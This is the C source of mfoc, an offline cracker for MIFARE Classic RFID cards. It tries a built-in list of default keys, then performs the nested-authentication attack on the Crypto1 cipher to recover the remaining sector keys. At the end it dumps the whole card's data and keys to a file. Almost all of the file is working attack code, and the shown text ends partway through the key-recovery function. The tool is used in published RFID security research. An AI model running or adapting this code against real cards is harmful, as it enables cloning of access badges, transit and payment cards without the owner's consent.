mfoc-always-skip-probes/src/mfoc.c

/*  
 
 Mifare Classic Offline Cracker version 0.08
 
 Requirements: crapto1 library http://code.google.com/p/crapto1
 libnfc                        http://www.libnfc.org
 
 This program is free software: you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation, either version 2 of the License, or
 (at your option) any later version.
 
 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.
 
 You should have received a copy of the GNU General Public License
 along with this program.  If not, see <http://www.gnu.org/licenses/>.
 
 Contact: <mifare@nethemba.com>

 Porting to libnfc 1.3.3: Michal Boska <boska.michal@gmail.com>
 Porting to libnfc 1.3.9: Romuald Conty <romuald@libnfc.org>
 
 URL http://eprint.iacr.org/2009/137.pdf
 URL http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf
 URL http://www.cosic.esat.kuleuven.be/rfidsec09/Papers/mifare_courtois_rfidsec09.pdf
 URL http://www.cs.ru.nl/~petervr/papers/grvw_2009_pickpocket.pdf
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// NFC
#include <nfc/nfc.h>

// Crapto1
#include "crapto1.h"

// Internal
#include "config.h"
#include "mifare.h"
#include "nfc-utils.h"
#include "mfoc.h"

int main(int argc, char * const argv[]) {
	int ch, i, k, n, j, m, o;
	int key, block;
	int succeed = 1;
	
	// Exploit sector
	int e_sector; 
	int probes = DEFAULT_PROBES_NR;
	int sets = DEFAULT_SETS_NR;
		
	// By default, dump 'A' keys
	int dumpKeysA = true;
	bool failure = false;
	bool skip = false;
	
	// Next default key specified as option (-k)
	byte_t * defKey = NULL; 
	
	// Array with default Mifare Classic keys
	byte_t defaultKeys[][6] = {
		{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // User defined key slot
		{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key)
		{0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key
		{0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key
		{0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key
		{0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5},
		{0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd},
		{0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a},
		{0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff},
		{0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97},
		{0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f},
		{0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91},
		{0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6},
		{0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9}

	};
	
	mftag		t;
	mfreader	r;
	denonce		d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};

	// Pointers to possible keys
	pKeys		*pk;
	countKeys	*ck;
	
	// Pointer to already broken keys, except defaults
	bKeys		*bk;
	
	static mifare_param mp;
 	static mifare_classic_tag mtDump;
	
	mifare_cmd mc;
	FILE *pfDump = NULL;
	
	// Parse command line arguments
	while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:")) != -1) {
		switch (ch) {
			case 'P':
				// Number of probes
				if (!(probes = atoi(optarg)) || probes < 1) {
					fprintf(stderr, "The number of probes must be a positive number\n"); 
					exit(1);
				}
				// fprintf(stdout, "Number of probes: %d\n", probes);
				break;
			case 'T':
				// Nonce tolerance range
				if (!(d.tolerance = atoi(optarg)) || d.tolerance < 0) {
					fprintf(stderr, "The nonce distances range must be a zero or a positive number\n"); 
					exit(1);
				}
				// fprintf(stdout, "Tolerance number: %d\n", probes);
				break;
			case 'k':
				// Add this key to the default keys list
				if ((defKey = calloc(6, sizeof(byte_t))) == NULL) {
					fprintf(stderr, "Cannot allocate memory for defKey\n");
					exit(1);
				} else {
					bzero(defKey, 6);
					num_to_bytes(strtoll(optarg, NULL, 16), 6, defKey);
					memcpy(defaultKeys[0], defKey, 6);
				}
				fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKey, 6));
				
				break;				
			case 'O':
				// File output
				if (!(pfDump = fopen(optarg, "wb"))) {
					fprintf(stderr, "Cannot open: %s, exiting\n", optarg); 
					exit(1);
				}
				// fprintf(stdout, "Output file: %s\n", optarg);
				break;
			case 'h':
				usage(stdout, 0);
				break;
			default:
				usage(stderr, 1);
				break;
		}
	}
	
	if (!pfDump) {
		fprintf(stderr, "Error, parameter -O is mandatory\n");
		exit(1);
	}
	
	// Initialize reader/tag structures
	mf_init(&t, &r);
	// Configure reader settings
	mf_configure(r.pdi);
	mf_select_tag(r.pdi, &(t.nt));
	
	// Save tag uid and info about block size (b4K)
	t.b4K = (t.nt.nti.nai.abtAtqa[1] == 0x02);
	t.uid = (uint32_t) bytes_to_num(t.nt.nti.nai.abtUid, 4);

	t.num_blocks = (t.b4K) ? 0xff : 0x3f;
	t.num_sectors = t.b4K ? NR_TRAILERS_4k : NR_TRAILERS_1k;
	
	t.sectors = (void *) calloc(t.num_sectors, sizeof(sector));
	if (t.sectors == NULL) {
		fprintf(stderr, "Cannot allocate memory for t.sectors\n"); 
		exit(1);
	}
	if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) {
		fprintf(stderr, "Cannot allocate memory for pk\n"); 
		exit(1);
	}
	if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) {
		fprintf(stderr, "Cannot allocate memory for bk\n"); 
		exit(1);
	} else { 
		bk->brokenKeys = NULL;
		bk->size = 0; 
	}
		
	d.distances = (void *) calloc(d.num_distances, sizeof(u_int32_t));
	if (d.distances == NULL) {
		fprintf(stderr, "Cannot allocate memory for t.distances\n"); 
		exit(1);
	}		
	
	// Test if a compatible MIFARE tag is used
	if ((t.nt.nti.nai.btSak & 0x08) == 0) {
		printf("Error: inserted tag is not a MIFARE Classic card\n");
		nfc_disconnect(r.pdi);
		exit(1);
	}
	
	// Initialize t.sectors, keys are not known yet
	for (i = 0; i < (t.num_sectors); ++i) {
		t.sectors[i].foundKeyA = t.sectors[i].foundKeyB = false;
	}
	
	fprintf(stdout, "Found MIFARE Classic %cK card with uid: %08x\n", (t.b4K ? '4' : '1'), t.uid);
	
	// Try to authenticate to all sectors with default keys
	// Set the authentication information (uid)
	memcpy(mp.mpa.abtUid, t.nt.nti.nai.abtUid, sizeof(mp.mpa.abtUid));
	// Iterate over all keys (n = number of keys)
	n = sizeof(defaultKeys)/sizeof(defaultKeys[0]);
	for (key = 0; key < n; key++) {
		if (key == 0 && defKey == NULL) ++key; // Custom key not provided, try another key
		memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
		fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6));
		fprintf(stdout, "[");
		i = 0; // Sector counter
		// Iterate over every block, where we haven't found a key yet
		for (block = 0; block <= t.num_blocks; ++block) {
			if (trailer_block(block)) {
				if (!t.sectors[i].foundKeyA) {
					mc = MC_AUTH_A;
					if (!nfc_initiator_mifare_cmd(r.pdi,mc,block,&mp)) {
						// fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x\n", 
						// 	bytes_to_num(mp.mpa.abtKey, 6), i, block);
						mf_anticollision(t, r);
					} else {
						// Save all information about successfull keyA authentization
						memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
						t.sectors[i].foundKeyA = true;
					}
				}
				if (!t.sectors[i].foundKeyB) {
					mc = MC_AUTH_B;
					if (!nfc_initiator_mifare_cmd(r.pdi,mc,block,&mp)) {
						// fprintf(stdout, "!!Error: AUTH [Key B:%012llx] sector %02x t_block %02x\n", 
						//	bytes_to_num(mp.mpa.abtKey, 6), i, block);
						mf_anticollision(t, r);
						// No success, try next block
						t.sectors[i].trailer = block;
					} else {
						memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
						t.sectors[i].foundKeyB = true;
					}
				}
				if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) {
					fprintf(stdout, "x");
				} else {
					fprintf(stdout, ".");
				}
				fflush(stdout);
				mf_configure(r.pdi);
				mf_anticollision(t, r);
				// fprintf(stdout, "\nSuccess: AUTH [Key %c:%012llx] sector %02x t_block %02x\n", 
				// 	(mc == MC_AUTH_A ? 'A' :'B'), bytes_to_num(mp.mpa.abtKey, 6), i, block);
				// Save position of a trailer block to sector struct
				t.sectors[i++].trailer = block;
			}
		}
		fprintf(stdout, "]\n");
	}

	fprintf(stdout, "\n");
	for (i = 0; i < (t.num_sectors); ++i) {
			fprintf(stdout, "Sector %02d - %12s  ", i, ((t.sectors[i].foundKeyA) ? " FOUND_KEY   [A]" : " UNKNOWN_KEY [A]"));
			fprintf(stdout, "Sector %02d - %12s  ", i, ((t.sectors[i].foundKeyB) ? " FOUND_KEY   [B]" : " UNKNOWN_KEY [B]"));
			fprintf(stdout, "\n");
	}
	fflush(stdout);
	
	// Return the first (exploit) sector encrypted with the default key or -1 (we have all keys)
	e_sector = find_exploit_sector(t);
	//mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode
		
	// Recover key from encrypted sectors, j is a sector counter
	for (m = 0; m < 2; ++m) {
		if (e_sector == -1) break; // All keys are default, I am skipping recovery mode
		for (j = 0; j < (t.num_sectors); ++j) {
			memcpy(mp.mpa.abtUid, t.nt.nti.nai.abtUid, sizeof(mp.mpa.abtUid));
			if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
				
				// First, try already broken keys
				skip = false;
				for (o = 0; o < bk->size; o++) {
					num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey);
					mc = dumpKeysA ? 0x60 : 0x61;
					if (!nfc_initiator_mifare_cmd(r.pdi,mc,t.sectors[j].trailer,&mp)) {
					//	fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x, key %d\n", 
					//			bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer, o);
						mf_anticollision(t, r);
					} else {
						// Save all information about successfull authentization
						if (dumpKeysA) {
							memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
							t.sectors[j].foundKeyA = true;
						} else {
							memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
							t.sectors[j].foundKeyB = true;
						}
						printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B'));
						fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), 
								bytes_to_num(mp.mpa.abtKey, 6));
						mf_configure(r.pdi);
						mf_anticollision(t, r);
						skip = true;
						break;
					}
				}
				if (skip) continue; // We have already revealed key, go to the next iteration
				
				// Max probes for auth for each sector
				for (k = 0; k < probes; ++k) {
					// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
					mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode
					printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
					// Configure device to the previous state 
					mf_configure(r.pdi);
					mf_anticollision(t, r);
			
					pk->possibleKeys = NULL;
					pk->size = 0;
					// We have 'sets' * 32b keystream of potential keys
					for (n = 0; n < sets; n++) {
						// AUTH + Recovery key mode (for a_sector), repeat 5 times
						mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA);
						mf_configure(r.pdi);
						mf_anticollision(t, r);
						fprintf(stdout, ".");
						fflush(stdout);
					}
					fprintf(stdout, "\n");
					// Get first 15 grouped keys
					ck = uniqsort(pk->possibleKeys, pk->size);
					for (i = 0; i < TRY_KEYS ; i++) {
						// We don't known this key, try to break it
						// This key can be found here two or more times
						if (ck[i].count > 0) {
							// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
							// Set required authetication method
							num_to_bytes(ck[i].key, 6, mp.mpa.abtKey); 
							mc = dumpKeysA ? 0x60 : 0x61;
							if (!nfc_initiator_mifare_cmd(r.pdi,mc,t.sectors[j].trailer,&mp)) {
								// fprintf(stdout, "!!Error: AUTH [Key A:%llx] sector %02x t_block %02x\n", 
								// 	bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer);
								mf_anticollision(t, r);
							} else {
								// Save all information about successfull authentization
								bk->size++;
								bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
								bk->brokenKeys[bk->size-1] = bytes_to_num(mp.mpa.abtKey, 6);
								if (dumpKeysA) {
									memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
									t.sectors[j].foundKeyA = true;
									
								} else {
									memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
									t.sectors[j].foundKeyB = true;
								}
								fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), 
										bytes_to_num(mp.mpa.abtKey, 6));
								mf_configure(r.pdi);
								mf_anticollision(t, r);
								break;
							}
						}
					}
					free(pk->possibleKeys);
					free(ck);
					// Success, try the next sector
					if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;									
				}
				// We haven't found any key, exiting
				if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { 
					fprintf(stderr, "No success, maybe you should increase the probes\n");
					exit(1);
				}
			}
		}
		dumpKeysA = false;
	}
		
		
	for (i = 0; i < (t.num_sectors); ++i) {
		if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) {
			fprintf(stdout, "\nTry again, there are still some encrypted blocks\n");
			succeed = 0;
			break;
		}
	}

	if (succeed) {
		i = t.num_sectors; // Sector counter
		fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n");
		// Read all blocks
		for (block = t.num_blocks; block >= 0; block--) {
			trailer_block(block) ? i-- : i;
			failure = true;
				
			// Try A key, auth() + read()
			memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA));
			if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) {
				// fprintf(stderr, "Error: Auth A\n");
				mf_configure(r.pdi);
				mf_anticollision(t, r);
			} else { // and Read
				if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) {
					fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6));
					print_hex(mp.mpd.abtData, 16);
					mf_configure(r.pdi);
					mf_select_tag(r.pdi, &(t.nt));
					failure = false;
				} else {
					// Error, now try read() with B key
					// fprintf(stderr, "Error: Read A\n");
					mf_configure(r.pdi);
					mf_anticollision(t, r);
					memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB));
					if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) {
						// fprintf(stderr, "Error: Auth B\n");
						mf_configure(r.pdi);
						mf_anticollision(t, r);
					} else { // and Read	
						if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) {
							fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6));
							print_hex(mp.mpd.abtData, 16);
							mf_configure(r.pdi);
							mf_select_tag(r.pdi, &(t.nt));
							failure = false;
						} else {
							mf_configure(r.pdi);
							mf_anticollision(t, r);
							// fprintf(stderr, "Error: Read B\n");
						}
					}
				}
			}
			if (trailer_block(block)) {
				// Copy the keys over from our key dump and store the retrieved access bits
				memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA,6);
				memcpy(mtDump.amb[block].mbt.abtKeyB,t.sectors[i].KeyB,6);
				if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits,mp.mpd.abtData+6,4);
			} else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData,16);
			memcpy(mp.mpa.abtUid,t.nt.nti.nai.abtUid,4);
		}
			
		// Finally save all keys + data to file
		if (fwrite(&mtDump, 1, sizeof(mtDump), pfDump) != sizeof(mtDump)) {
			fprintf(stdout, "Error, cannot write dump\n");
			fclose(pfDump);
			exit(1);
		}
		fclose(pfDump);
	}
		
	free(t.sectors);
	free(d.distances);
	
	// Reset the "advanced" configuration to normal
	nfc_configure(r.pdi, NDO_HANDLE_CRC, true);
	nfc_configure(r.pdi, NDO_HANDLE_PARITY, true);

	// Disconnect device and exit
	nfc_disconnect(r.pdi);
    return 0;
}

void usage(FILE * stream, int errno) {
	fprintf(stream, "mfoc %s\n\n", PACKAGE_VERSION);
	fprintf(stream, "usage: mfoc [-h] [-P probnum] [-T tolerance] [-k custom_key] [-O output]\n\n");
	fprintf(stream, "example: mfoc -O card_dump\n");
	fprintf(stream, "example: mfoc -k ffffeeeedddd -O card_dump\n");
	fprintf(stream, "example: mfoc -P 50 -O card_dump\n");
	fprintf(stream, "\n");					
	fprintf(stream, "  h : print this help\n");
//	fprintf(stream, "  B : instead of 'A' dump 'B' keys\n");
	fprintf(stream, "  k : use a specified key instead of looking for defaults ones\n");
//	fprintf(stream, "  D : number of distance probes, default is 20\n");
//	fprintf(stream, "  S : number of sets with keystreams, default is 5\n");
	fprintf(stream, "  P : number of probes for a key recovery for one sector, default is 20\n");
	fprintf(stream, "  T : range for a possible distance tolerance, default is 20 (40 in both direction)\n");
//	fprintf(stream, "  s : specify the list of sectors to crack, for example -s 0,1,3,5\n");
	fprintf(stream, "  O : dump file where the revealed keys should be stored\n");
	fprintf(stream, "\n");
	exit(errno);
}

void mf_init(mftag *t, mfreader *r) {
	// Connect to the first NFC device
	r->pdi = nfc_connect(NULL);
	if (!r->pdi) {
		fprintf(stderr, "!Error connecting to the NFC reader\n");
		exit(1);
	}
}

void mf_configure(nfc_device_t* pdi) {
	nfc_initiator_init(pdi);
	// Drop the field for a while, so can be reset
	nfc_configure(pdi,NDO_ACTIVATE_FIELD,false);
	// Let the reader only try once to find a tag
	nfc_configure(pdi,NDO_INFINITE_SELECT,false);
	// Configure the CRC and Parity settings
	nfc_configure(pdi,NDO_HANDLE_CRC,true);
	nfc_configure(pdi,NDO_HANDLE_PARITY,true);
	// Enable the field so more power consuming cards can power themselves up
	nfc_configure(pdi,NDO_ACTIVATE_FIELD,true);
}

void mf_select_tag(nfc_device_t* pdi, nfc_target_t* pnt) {
	// Poll for a ISO14443A (MIFARE) tag
	const nfc_modulation_t nm = {
		.nmt = NMT_ISO14443A,
		.nbr = NBR_106,
	};
	if (!nfc_initiator_select_passive_target(pdi, nm, NULL, 0, pnt)) {
		fprintf(stderr, "!Error connecting to the MIFARE Classic tag\n");
		nfc_disconnect(pdi);
		exit(1);
	}
}

int trailer_block(uint32_t block)
{
	// Test if we are in the small or big sectors
	return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0); 
}

// Return position of sector if it is encrypted with the default key otherwise exit..
int find_exploit_sector(mftag t) {
	int i; 
	bool interesting = false;
	
	for (i = 0; i < t.num_sectors; i++) {
		if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) {
			interesting = true;
			break;
		}
	}
	if (!interesting) {
		fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n");
		return -1;
	}
	for (i = 0; i < t.num_sectors; i++) {
		if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) {
			fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i);
			return i;
		}
	}
	fprintf(stderr, "\n\nNo sector encrypted with the default key has been found, exiting..\n");
	exit(1);
}

void mf_anticollision(mftag t, mfreader r) {
	const nfc_modulation_t nm = {
		.nmt = NMT_ISO14443A,
		.nbr = NBR_106,
	};
	if (!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt)) {
		fprintf(stderr, "\n\n!Error: tag has been removed\n");
		exit(1);
	}
}

int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) {
	struct Crypto1State* pcs;
	struct Crypto1State* revstate;
	struct Crypto1State* revstate_start;

	uint64_t lfsr;
	
	// Possible key counter, just continue with a previous "session"
	uint32_t kcount = pk->size;
		
	byte_t Nr[4] = { 0x00,0x00,0x00,0x00 }; // Reader nonce
	byte_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
	byte_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
	byte_t AuthEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
	
	byte_t ArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
	byte_t ArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
	
	byte_t Rx[MAX_FRAME_LEN]; // Tag response
	byte_t RxPar[MAX_FRAME_LEN]; // Tag response
	size_t RxLen;
	
	u_int32_t Nt, NtLast, NtProbe, NtEnc, Ks1;

	int i, m;
	
	// Prepare AUTH command
	Auth[0] = (t.sectors[e_sector].foundKeyA) ? 0x60 : 0x61;
	iso14443a_crc_append (Auth,2);
	// fprintf(stdout, "\nAuth command:\t");
	// print_hex(Auth, 4);
	
	// We need full control over the CRC
	if (!nfc_configure(r.pdi, NDO_HANDLE_CRC, false))  {
		nfc_perror (r.pdi, "nfc_configure");
		exit (EXIT_FAILURE);
	}

	// Request plain tag-nonce
	// fprintf(stdout, "\t[Nt]:\t");
	if (!nfc_configure (r.pdi, NDO_EASY_FRAMING, false)) {
		nfc_perror (r.pdi, "nfc_configure");
		exit (EXIT_FAILURE);
	}

	if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen)) {
		fprintf(stdout, "Error while requesting plain tag-nonce\n");
		exit(EXIT_FAILURE);
	}

	if (!nfc_configure (r.pdi, NDO_EASY_FRAMING, true)) {
		nfc_perror (r.pdi, "nfc_configure");
		exit (EXIT_FAILURE);
	}
	// print_hex(Rx, 4);
	
	// Save the tag nonce (Nt)
	Nt = bytes_to_num(Rx, 4);
	
	// Init the cipher with key {0..47} bits
	if (t.sectors[e_sector].foundKeyA) {
		pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
	} else {
		pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
	}

	// Load (plain) uid^nt into the cipher {48..79} bits
	crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.uid, 0);
	
	// Generate (encrypted) nr+parity by loading it into the cipher
	for (i = 0; i < 4; i++) {
		// Load in, and encrypt the reader nonce (Nr)
		ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
		ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
	}
	// Skip 32 bits in the pseudo random generator
	Nt = prng_successor(Nt, 32);
	// Generate reader-answer from tag-nonce
	for (i = 4; i < 8; i++) {
		// Get the next random byte
		Nt = prng_successor(Nt, 8);
		// Encrypt the reader-answer (Nt' = suc2(Nt))
		ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt&0xff);
		ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
	}
	
	// Finally we want to send arbitrary parity bits
	nfc_configure(r.pdi, NDO_HANDLE_PARITY, false);
	
	// Transmit reader-answer
	// fprintf(stdout, "\t{Ar}:\t");
	// print_hex_par(ArEnc, 64, ArEncPar);
	if ((!nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, &RxLen, RxPar)) || (RxLen != 32)) {
		fprintf(stderr, "Reader-answer transfer error, exiting..\n");
		exit(1);
	}
	
	// Now print the answer from the tag
	// fprintf(stdout, "\t{At}:\t");
	// print_hex_par(Rx,RxLen,RxPar);
	
	// Decrypt the tag answer and verify that suc3(Nt) is At
	Nt = prng_successor(Nt, 32);
	if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt&0xFFFFFFFF))) {
		fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting..\n");
		exit(1);
	}
	// fprintf(stdout, "Authentication completed.\n\n");
	
	// If we are in "Get Distances" mode
	if (mode == 'd') {
		for (m = 0; m < d->num_distances; m++) {
			// fprintf(stdout, "Nested Auth number: %x: ,", m);
			// Encrypt Auth command with the current keystream
			for (i = 0; i < 4; i++) {
		                AuthEnc[i] = crypto1_byte(pcs,0x00,0) ^ Auth[i];
                		// Encrypt the parity bits with the 4 plaintext bytes
                		AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
			}

			// Sending the encrypted Auth command
			if (!nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar,Rx, &RxLen, RxPar)) {
				fprintf(stdout, "Error requesting encrypted tag-nonce\n");
				exit(1);
			}

			// Decrypt the encrypted auth 
			if (t.sectors[e_sector].foundKeyA) {
				pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
			} else {
				pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
			}
			NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.uid, 1); 
			
			// Save the determined nonces distance
			d->distances[m] = nonce_distance(Nt, NtLast);
			// fprintf(stdout, "distance: %05d\n", d->distances[m]);
			
			// Again, prepare and send {At}
			for (i = 0; i < 4; i++) {
				ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
				ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
			}
			Nt = prng_successor(NtLast, 32);
			for (i = 4; i < 8; i++) {
				Nt = prng_successor(Nt, 8);
				ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt&0xFF);
				ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
			}
			nfc_configure(r.pdi,NDO_HANDLE_PARITY,false);
			if ((!nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, &RxLen, RxPar)) || (RxLen != 32)) {
				fprintf(stderr, "Reader-answer transfer error, exiting..\n");
				exit(1);
			}
			Nt = prng_successor(Nt, 32);
			if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt&0xFFFFFFFF))) {
				fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting..\n");
				exit(1);
			}
		} // Next auth probe
		
		// Find median from all distances
		d->median = median(*d);
		//fprintf(stdout, "Median: %05d\n", d->median);
	} // The end of Get Distances mode
	
	// If we are in "Get Recovery" mode
	if (mode == 'r') {
		// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
		Auth[0] = dumpKeysA ? 0x60 : 0x61;
		Auth[1] = a_sector; 
		iso14443a_crc_append (Auth,2);
		
		// Encryption of the Auth command, sending the Auth command
		for (i = 0; i < 4; i++) {
			AuthEnc[i] = crypto1_byte(pcs,0x00,0) ^ Auth[i];
			// Encrypt the parity bits with the 4 plaintext bytes
			AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
		}
		if (!nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar,Rx, &RxLen, RxPar)) {
			fprintf(stdout, "Error requesting encrypted tag-nonce\n");
			exit(1);
		}
		
		// Save the encrypted nonce
		NtEnc = bytes_to_num(Rx, 4);
		
		// Parity validity check
		for (i = 0; i < 3; ++i) {
			d->parity[i] = (oddparity(Rx[i]) != RxPar[i]);
		}		
	
		// Iterate over Nt-x, Nt+x
		// fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE);
		NtProbe = prng_successor(Nt, d->median-d->tolerance);
		for (m = d->median-d->tolerance; m <= d->median+d->tolerance; m +=2) {
			
			// Try to recover the keystream1 
			Ks1 = NtEnc ^ NtProbe;
					
			// Skip this nonce after invalid 3b parity check
			revstate_start = NULL;
			if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) {
				// And finally recover the first 32 bits of the key
				revstate = lfsr_recovery32(Ks1, NtProbe ^ t.uid);
                                if (revstate_start == NULL) {
                                        revstate_start = revstate;
                                }
				while ((revstate->odd != 0x0) || (revstate->even != 0x0)) {
					lfsr_rollback_word(revstate, NtProbe ^ t.uid, 0);
					crypto1_get_lfsr(revstate, &lfsr);
					// Allocate a new space for keys
					if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) {
						pk->size += MEM_CHUNK;
						// fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t));
						pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t));
						if (pk->possibleKeys == NULL) {
							fprintf(stderr, "Memory allocation error for pk->possibleKeys\n"); 
							exit(1);
						}
					}
					pk->possibleKeys[kcount] = lfsr;
					kcount++;
					revstate++;
				}
				free(revstate_start);
			}
			NtProbe = prng_successor(NtProbe, 2);
		}
		// Truncate
		if (kcount != 0) {
			pk->size = --kcount;
			if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) {
				fprintf(stderr, "Memory allocation error for pk->possibleKeys\n"); 
				exit(1);
			}		
		}
	}
